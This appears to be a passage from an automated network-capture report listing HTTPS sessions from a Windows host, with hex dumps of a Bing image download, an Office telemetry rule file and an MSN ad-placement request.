4f 3f 91 e1 1a 77 c3 0f 88 b3 da 47 f6 5d 0a 1f 2f ee 47 f7 2a d4 7f 0a 7e 28 27 fc c0 61 ff 00 c7 2b df b4 bf 16 78 6b 40 11 e8 fa bf 88 f4 ab 7d 43 fe 7d a4 ba f9 ea 7d 43 e2 Data Ascii: WK;G?wUr'\>e4:NY5md;oyv:RCnk}OO)V;x~u=F/3N$^KGz2i?W_7,w0qRQNVM=V'I:]]/O?wG]/G~('a+xk@}C}}C
2024-12-08 16:45:42 UTC	16067	IN	Data Raw: ed a5 de a5 0e a9 e2 4d 43 c4 53 c9 fe b2 2d 36 2d 89 ff 00 01 6a ee fc 33 a4 69 b6 56 92 5a f8 7b e1 bd de 95 a6 dc 47 fe 93 ad 5f 5d ec 9a 38 bf 8b 6d 61 41 e2 8b b7 d2 63 fb 17 89 3c 3d e1 98 23 ff 00 8f 98 ec 62 f9 ff 00 e0 35 ca 6b 9a bf 86 ee 3e cd 75 af 78 ab c6 3e 26 f2 e4 f3 23 b2 96 5f b3 c3 fe eb 6d 6a f3 68 4f 13 56 7c d5 1d 97 cd bf c1 25 f8 9e b4 56 16 8a 4d 28 af b9 3f c5 b7 f8 18 da 3e 99 27 85 ee af b4 19 3c 79 a8 49 f6 2b d7 92 da 3f e3 f2 9b fb d5 76 0b 3b 49 75 0b 99 ff 00 e1 36 bb 92 c6 4f de 49 e5 4a ff 00 fa 15 33 e2 56 b3 69 e2 0f 13 df 6b da 45 9d a6 9d 6b 24 69 1d b4 77 3f eb be 5a e7 23 b9 bf d2 a1 d9 75 fd 9f f6 59 3f e9 97 f7 bf 82 be eb db 60 ea f3 54 55 12 9c b4 7b f5 de da 6f 73 c1 ad 2a 6e 6f 95 ab 5e e8 ed 74 7d 0e 0b 5d Data Ascii: MCS-6-j3iVZ{G_]8maAc<=#b5k>ux>&#_mjhOV\|%VM(?>'<yI+?v;Iu6OIJ3VikEk$iw?Z#uY?`TU{os*no^t}]
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 98 e5 b4 8d de 6f dd c9 ff 00 2c e5 ff 00 97 87 ff 00 9e 5f f0 1a b5 5d 34 ae ae fd 2c 0f 31 86 8d df ee 7f d6 86 a4 93 ec b4 8b cb ff 00 48 fd e7 97 e6 45 ff 00 b3 53 e3 f9 e6 f2 3f d6 7e f3 ff 00 1f ac bd 61 a4 b4 d3 e4 4f f9 f8 93 cc 8b ca f9 1e 47 a7 5a de 41 2e b9 6d 6b e4 fe f2 cb fd 5c 9f ef 7d ea 3d bc 23 0f 68 96 86 93 c5 4a 9b 5c cb 5d 3f 12 e4 97 30 24 de 43 ff 00 d7 3a 7d d4 ff 00 b9 d8 9f ea ff 00 d6 79 9f c1 55 ec 67 df f6 e7 78 7c cb 5f f5 96 df dc f9 6a 9c 1e 7d bc 3b 35 1b c8 64 92 4d f7 12 47 e4 fc 9e 57 f7 6a 9d 55 25 79 27 cc 15 31 6e da ee f6 6f 6f bc d1 9e 5f b2 43 f2 7e ef ff 00 1f 9a a6 92 29 2d 26 d9 e4 c3 24 9f eb 3f e0 15 97 04 b7 6f 77 1c 09 0c 3f 6a 8e 4f 2f cb ff 00 9e 69 fe c5 3a fa e6 3f de 7f cb 3f 2f fe 5a 4b ff 00 2c ff Data Ascii: o,_]4,1HES?~aOGZA.mk\}=#hJ\]?0$C:}yUgx\|_j};5dMGWjU%y'1noo_C~)-&$?ow?jO/i:??/ZK,
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: e6 a5 27 95 ff 00 1f 0f 27 fc b4 7f f6 52 a5 92 e6 d2 ef c3 db 35 1f f4 d8 23 bd fb 45 b7 9b ff 00 2f 1b 7e ee ef f6 6a b9 66 93 8a 71 7a ab f4 fb bb 9b 2a 98 9a ca 6e 95 48 b5 67 bb 6a d2 d3 77 6d 75 d2 de 7e 63 2d 65 b0 d3 3c 41 6c e9 fb bb 5b db 9f 32 3b 2b 99 77 fd ef e2 4f ee 53 7f b4 ae d7 56 d5 92 f6 f2 5f 23 55 bd f2 ec 6d bf e5 b6 ff 00 fe 25 6a ac 92 c7 ac 5d c9 a8 4f 34 37 3a 95 bd ea 49 1d cc 5f 24 31 c5 ff 00 3c f6 7b 53 6d 6d ad fc 39 e6 3e a9 fb cf 2e e5 fe cd 73 ff 00 2d a4 f3 7e ea ff 00 bb 4e 32 72 a6 dc e1 77 6d 09 8e 37 11 ec e3 55 51 7c bb a7 75 d7 be bb df 9b 4f f3 2f 4f 7d 24 be 5c f7 53 7e f2 de e7 cb ff 00 ae 96 ff 00 c3 b7 fd a6 6a b1 a3 c1 3f fc 24 d7 da f5 94 d0 c9 24 91 fd af ed 37 3f 7e 39 65 fd d2 7c be db 29 9a 3d d6 93 a1 Data Ascii: ''R5#E/~jfqz*nHgjwmu~c-e<Al[2;+wOSV_#Um%j]O47:I_$1<{Smm9>.s-~N2rwm7UQ\|uO/O}$\S~j?$$7?~9e\|)=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49813	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	375	OUT	GET /th?id=OADD2.10239395019081_1G8JFT41D9TYPNUJJ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:41 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 714951 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 582076538C954E998BB847DC83F6D793 Ref B: EWR30EDGE1421 Ref C: 2024-12-08T16:45:41Z Date: Sun, 08 Dec 2024 16:45:41 GMT Connection: close
2024-12-08 16:45:41 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c bc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 34 3a 33 30 20 31 37 3a 35 33 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.4 (Windows)2024:04:30 17:53:418
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 26 b6 19 22 d3 76 d5 88 e2 a9 7c aa 8e 63 48 d3 6f 52 a4 6b 4f 92 2f e3 a9 76 ec 9a a5 8d 7f 82 97 31 71 a6 9b 29 f9 54 ef 2b fb f5 63 ca a7 6c a3 98 a8 d2 29 6d a3 6d 5a f2 a4 4f 2e 88 e2 a7 cc 65 ec dd ec 55 db 4d db 57 fc aa 64 8b b2 8e 71 ca 85 91 4e 9b b4 d5 c9 23 a8 bc aa a5 24 cc a5 49 a6 41 46 d3 52 bc 7b 29 24 5a 7c cb a0 4a 32 be c4 7b 4d 1b 4d 49 22 d1 4c 97 1b 3b 11 ed 34 6d 34 ed b4 35 02 b6 84 74 53 b6 9a 74 6b 4e e3 8a bb 22 d9 4b cd 49 4d a2 e5 0d a2 9d b4 d1 45 c9 e5 19 b2 96 9d 45 17 09 0d a2 9d 46 d3 4c 91 b4 6d f6 a7 51 b4 d0 03 68 a7 51 40 0d db ed 45 3b 69 a2 80 1b 45 3a 8d a6 80 0a 28 a7 50 04 74 ea 28 a0 02 9b 4e a2 80 0a 6d 3b 69 a7 e2 80 b8 ca 28 a2 80 1b 4e a3 69 a7 52 b8 0d a2 9d 45 20 1b b4 d1 4f c5 32 9e e0 36 8d be d4 ea 36 Data Ascii: &"v\|cHoRkO/v1q)T+cl)mmZO.eUMWdqN#$IAFR{)$Z\|J2{MMI"L;4m45tStkN"KIMEEFLmQhQ@E;iE:(Pt(Nm;i(NiRE O266
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: f3 24 ff 00 a6 95 cf 7c 2f d1 64 8b 56 b9 4b ab 38 7c c8 ff 00 e7 ad 7a 14 73 68 3c 27 b4 bf bc 96 c7 9d 5f 25 a8 f1 9e cf ec b7 b9 c3 41 a6 5d fd aa 3b 5f 27 cb 92 4f f5 7e 6d 68 f8 9f 4a 8f 4f d2 7e 4f de 49 e6 79 72 49 5e c1 a9 68 b6 9a 86 a1 6d 3b fe ed ed eb 8d f8 cd a6 4e 96 91 f9 1f bb 83 cc f3 24 ac 28 66 ff 00 58 c4 42 36 b7 56 74 d7 c9 56 1b 0d 52 57 bf 63 cb f6 9a 24 5a 92 45 a3 6d 7d 22 67 c8 f2 b2 3d a6 8d a6 a4 db 45 01 f0 91 d1 b4 d4 9b 68 a7 70 71 4c 83 65 1b 2a 5d b4 6d a6 64 d2 4c af b6 89 16 ac 6d a2 45 aa e6 23 95 d9 95 f6 d1 b6 a6 da 69 db 68 e6 22 30 4c af 1a d1 b6 a6 da 68 db be 8e 61 a8 b1 9b 28 d9 4f db b2 89 16 8e 61 a5 7e 84 3b 69 fb 2a 58 e3 a9 7e cd 23 cd 43 9a 1c 69 bb 6d 72 96 da 7c 6b 56 a4 82 44 a8 b6 d1 ce 99 52 a7 ca ec Data Ascii: $\|/dVK8\|zsh<'_%A];_'O~mhJO~OIyrI^hm;N$(fXB6VtVRWc$ZEm}"g=EhpqLe]mdLmE#ih"0Lha(Oa~;iX~#Cimr\|kVDR
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 97 c9 04 3e 5c 75 b3 e4 47 50 3d 69 2c 44 e4 ad 7d 0c d5 28 a7 cd d4 64 10 51 e5 53 e8 dd 59 f3 1a 04 6b 53 db ad 45 1d 4f 05 26 ee 05 88 ea 5d db ea 28 ea 58 ea 00 c9 f1 a3 18 a1 d3 66 6b ab a8 3f d3 15 00 b3 8b 73 65 d1 96 b1 ad 2c 83 78 f2 e1 3f e1 1c ba bc f3 2c a1 93 ed 1a 95 df f7 5d d7 ee 7c df fa 0d 6b fc 48 98 41 e1 29 2e da 59 6d c5 a5 cc 33 99 23 8b 7b 7c b3 2d 62 6a f0 2b f8 bb 49 1f d8 7a a6 a0 d2 45 71 07 9b a8 5d 79 5f dc 93 fb df ec ff 00 76 bc ec 42 fd ef dd fd 6c ce ca 57 e4 fb ff 00 42 38 5b 7e 93 ad 78 6a 7d 5b 45 d3 e0 92 e6 e6 0f b3 db 45 bd f6 cb f3 7d df fb 69 fd da fc c4 f1 75 8f d8 ae ef b4 e7 ff 00 97 79 1e de 4f f8 0b d7 ea 56 9d 1d d6 91 e2 6d 48 c6 7c 3f a3 c7 71 1d bb fe f3 ef fd cd 9f ec 6e e9 5f 9f 1f b4 af 87 74 2d 2f e3 Data Ascii: >\uGP=i,D}(dQSYkSEO&](Xfk?se,x?,]\|kHA).Ym3#{\|-bj+IzEq]y_vBlWB8[~xj}[EE}iuyOVmH\|?qn_t-/
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: d9 52 ed a3 6d 1c c1 ca c8 b6 51 b2 a7 db 46 da 39 8b b3 b1 1e d3 46 d3 52 6d a7 ec a5 ce 22 0d a6 8a 9f 65 1b 28 e7 1d 88 36 9a 36 9a 9f 65 1b 29 39 5c 2c 41 b4 d1 b4 d4 fb 29 9b 69 f3 88 8f 69 a2 a4 db 46 da 39 c7 62 3d a6 8d a6 a7 d9 46 ca 39 c4 41 46 d3 52 6d a3 6d 1c e0 47 45 49 b6 8d b4 73 83 8d c8 f6 9a 2a 4d b4 6d a3 9c 14 6c 47 45 49 b6 8d b4 f9 80 8e 8d a6 a4 db 46 da 39 87 62 3a 2a 4d b4 6d a3 98 9e 42 3a 6f 35 26 da 36 d1 cc 2e 52 2d 94 6c a9 76 d1 b6 8e 60 e5 23 e6 93 65 4b b6 8d b4 73 0f 90 8b 65 1b 29 fb 4d 3b 6d 1c c2 e5 22 d9 46 ca 7e d3 49 e5 51 cc 83 94 6e ca 36 54 bb 68 db 47 30 72 91 6c a3 65 4b b6 8d b4 73 07 29 16 ca 36 54 bb 68 db 47 31 4e 24 5b 28 d9 52 ed a3 6d 1c c4 f2 91 6c a3 65 3f 69 a3 69 a3 98 39 48 76 d1 b6 a6 da 68 da 68 Data Ascii: RmQF9FRm"e(66e)9\,A)iiF9b=F9AFRmmGEIsMmlGEIF9b:MmB:o5&6.R-lv`#eKse)M;m"F~IQn6ThG0rleKs)6ThG1N$[(Rmle?ii9Hvhh
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: b5 49 3d 64 d5 fd 55 ef f2 77 4d 1c 79 cd 45 52 34 69 45 5b 95 3b 7a 3b 7e 47 d1 9b 68 db 53 49 16 c9 bc b7 a6 6c af 7f 98 f0 39 58 ca 2a 4e 69 36 51 cc 2e 56 45 45 4b b2 99 b6 8e 62 79 18 da 29 db 68 db 47 30 35 27 d0 6d 14 ed b4 fd 94 73 17 ca c8 a8 db 52 ec a3 65 1c c1 62 2d b4 ed b4 fd 94 6c a5 cc 90 f9 46 6d ae 63 e2 4e 99 f6 df b3 4e 9a 94 d6 53 db c6 fe 57 df d9 26 ef e1 6a eb 76 9a 86 ea cf ed 1f f2 da 68 ff 00 eb 95 79 99 b6 12 18 ec 24 b0 f2 57 b9 a5 34 e3 2e 63 e7 9d 57 57 bf d2 b5 0f ec bd 5e 1b 4b db 19 3f 79 1c b1 4b f3 f9 bf c3 e5 b7 de ff 00 be ab 85 f1 e6 9f 76 f3 79 f0 43 69 6f 77 6f fb cb 9b 6b 9f fd 09 fe 95 f4 67 c4 2f 08 47 aa fe e1 3c 99 27 92 4f de dc cb f7 e3 ff 00 7b b3 d7 8f 7c 50 f0 7e a7 a6 6a 3b e7 d6 22 d4 64 b8 fd e5 b7 ee Data Ascii: I=dUwMyER4iE[;z;~GhSIl9X*Ni6Q.VEEKby)hG05'msReb-lFmcNNSW&jvhy$W4.cWW^K?yKvyCiowokg/G<'O{\|P~j;"d
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: dd fc ff 00 dc fb ff 00 ee d7 25 63 63 e1 4b 89 be d5 a8 78 6e 5d 57 55 f2 ff 00 ef de ea c1 57 72 5a bb 9b 4a 11 8e c8 bd 1f c4 6f 0b c9 a9 47 6f a5 da cd a8 cd e6 79 71 8b 2b 49 ae 19 ff 00 f4 15 ab 7e 26 f1 8f 8a e2 b1 da 34 9d 3f 42 9a f3 e4 b2 93 55 9b fe fb 77 fe 14 da bf de fb d5 0f 87 5a e2 de ee 33 1f 85 74 fd 09 3c cf de 49 2c de 75 c6 df fa 67 5b da b7 89 ed ee 2c ff 00 e2 5f f6 49 2e be 7f 2e de f6 5d 91 49 fe d3 75 af 22 a6 39 3e 6f 7f 95 fe 76 fb 9f e4 76 c2 84 dc 53 e5 b9 f3 2f ed 4d e1 8f 15 e8 70 ff 00 c2 49 7b a7 68 72 5f 45 1c 37 f7 3a b6 89 fb 99 a3 96 3f 97 ed 6d 1b 7f cb 25 dd f3 38 fe 2d 95 e5 b7 5e 1a d2 7c 5b f0 77 5b d7 b5 7f 15 4d 6f e2 a9 2f 52 38 fc cb bf b3 c3 70 92 7c f2 79 ab fc 7e 62 fa 7f c0 ab d2 ff 00 6a 66 f1 0d ea c7 Data Ascii: %ccKxn]WUWrZJoGoyq+I~&4?BUwZ3t<I,ug[,_I..]Iu"9>ovvS/MpI{hr_E7:?m%8-^\|[w[Mo/R8p\|y~bjf
2024-12-08 16:45:42 UTC	16067	IN	Data Raw: fe 8d 2a 7e ff 00 e4 dc 9e 5e ea d4 8f c6 3e 1e 79 ae 5f fe 10 f8 7c bf f9 f6 8a 54 fd df fb f5 eb d3 f8 bf c0 8f 6b b3 fb 37 c3 3e 5f fc f3 96 d1 36 7f df 3b 68 83 c5 5e 0c 8b e4 b2 d3 7c 33 1f fd 72 b4 87 ff 00 89 af 2e be 79 86 9c b9 bd 8c d3 f9 af c8 d2 38 7a 51 7a 62 a3 6e be e5 df e2 8f 0a b1 d5 74 2b d8 6e 6c a1 f0 7d dc 92 49 23 c9 1d cc 5f 7f e6 fe 1f f8 0d 75 fe 04 d3 f4 db 48 64 d5 ef 74 1d 42 f6 3f 2f fd 5c 52 a3 fd 9d bf db 5a f4 c9 fc 59 e1 34 bb 8e 79 f4 df 0c f9 ff 00 f3 d3 e4 df 4c 8f c4 7e 0c 4f 31 3f b1 fc 33 1f 99 27 99 27 ee 93 f7 8f f7 7e 6d b5 15 b8 82 13 83 84 69 ca 31 7e 6d fe a3 8e 17 0b 1a 8a 4e bc 1d bf b9 ff 00 00 f3 ef 17 78 97 4d b4 9b 64 fe 15 9a 49 3e 4f 32 3f 2a a8 78 aa ef ed 16 91 a5 96 83 0d 97 ee d3 cc 93 ca d9 e6 23 Data Ascii: ~^>y_\|Tk7>_6;h^\|3r.y8zQzbnt+nl}I#_uHdtB?/\RZY4yL~O1?3''~mi1~mNxMdI>O2?x#
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 7a 54 9a 37 86 ff 00 79 ff 00 12 78 a4 49 3e 79 3f 75 4d d3 b4 ff 00 0f 37 99 0d 96 9b f6 7f 32 4d f2 79 91 3a 79 8d fc 2d 43 ce 22 d3 71 83 fd 3f 33 37 97 ce fd 0f 3e 87 41 bc b8 8a 37 fb 5c 32 7e f1 d3 cb f9 ff 00 7f fe c2 6e ae af c2 56 9f 62 bc 8f 5b 86 1f 2e d7 cb d9 6f 6f e5 6f 7d bb 3e 4f f7 76 d7 45 e4 c1 14 51 c3 0e 9d fe af fd 5f fb 14 eb 58 e0 8a d7 ec a9 e5 79 32 7f cb 3f f7 be f5 71 e2 33 29 55 83 8d b4 fd 3a 95 4f 09 28 3b ad cc cb 1b 1d ba e7 9f e7 79 97 57 91 f9 9f ec 6e 5f 9a 99 a5 40 f6 3f 67 85 e2 8a 39 bf d5 c9 27 df d8 db f7 ee fc ab a0 46 83 f7 69 e5 4b fb bd e9 e6 49 fe d5 4b 6f 78 9f 7d 3f 77 e5 c9 be 3f dd 57 9f 2c 54 ec f4 b9 af d5 a7 74 db 33 2e a5 d4 be cb 70 ff 00 f2 d2 e2 4f dd f9 bf f2 d1 1f fe 5a 48 d5 2d af fc 81 23 74 fd Data Ascii: zT7yxI>y?uM72My:y-C"q?37>A7\2~nVb[.ooo}>OvEQ_Xy2?q3)U:O(;yWn_@?g9'FiKIKox}?w?W,Tt3.pOZH-#t
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: a4 bb fd f7 96 9e 5c 7e 56 cf de b7 dd 6f fd 95 69 ca 60 f3 2e 1f cd f3 d2 3f f9 69 f7 fe f7 ff 00 67 4d d9 45 4f 96 fd fd 3f af cc 71 a6 ed be a6 86 df b3 da fc 92 cb fc 1e 5c 7f e7 de 9d 3d 8f 95 e5 a3 f9 b1 bf cf bf f7 bf e7 75 73 cd 06 99 73 35 b5 e4 7a 8c d7 10 5b f9 df eb 25 75 df fc 2c 8f fd f7 5d dc 7f 15 4f 63 a5 e9 ba 66 9f 6f 0b 45 37 91 69 23 c1 27 99 be 5f bc fb ff 00 79 fe ca b3 7d ea 23 4a e9 a9 2d 7a 76 f3 d4 1e 96 d7 f0 35 66 fb 2b 69 72 47 3c d2 08 7c bf de 49 24 bb 1b 6f dd fb df c3 ed 50 69 b2 58 4f f3 d8 f9 b2 42 91 fe ee 4f 37 fd 67 fb b4 25 96 99 75 0c 70 7d 93 cc b5 f9 d2 38 fc ad fb d7 f8 bf f1 ea 92 c5 c4 51 c7 04 31 7d 9d 1e 3f f4 7f f7 13 f8 ff 00 d9 5e d5 3c ae 6e ee ec 14 92 4f 7b 93 79 b6 eb 27 91 fb ab 84 1b fc bf e0 f9 bf Data Ascii: \~Voi`.?igMEO?q\=uss5z[%u,]OcfoE7i#'_y}#J-zv5f+irG<\|I$oPiXOBO7g%up}8Q1}?^<nO{y'

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8a885dcd-801e-0078-280b-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164542Z-r1cf579d778qgtz2hC1EWRmgks00000005s0000000002vhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49816	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:42 UTC	2638	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164538Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8960d1bef70c4875bb58e3d61e142870&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-338387&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=531167623,531174684,530725852&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p= Cache-Control: no-cache MS-CV: 432tsQ/J1USeXdCg.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-08 16:45:42 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23437 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: dluo9fXJygseOEDPDK8Ay3m7rUcgGBsDbI1k44c5jD6oQYaCKB2+fFNOWdMrdY6nqOl1DmHC+XMOoPahzskBeDxnMgE5U5f9/HHUxLc1wf1ZhNweDYyW5bhYE0koEfoaAHF3mJ/3FRuXJieDN3hqgjFlcUdVUhLxDOXvuRTjNfBCC4Vazv+FtqGNRiuipF9fdOcTTng9+2o22nsbYXOKlgmfMgwr1ieu8S+lqhnrD6gpUq2uNG19Fl2lNzNpZcaGfSOKPLrf2jRsqZ7o5j2FrkfuRyG4Wti1VfJqJDAhSh+UJUs/B9ZdfY9cg9Q4x9dRDxF1okeD/prPaoLmN8wRTA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 08 Dec 2024 16:45:41 GMT Connection: close
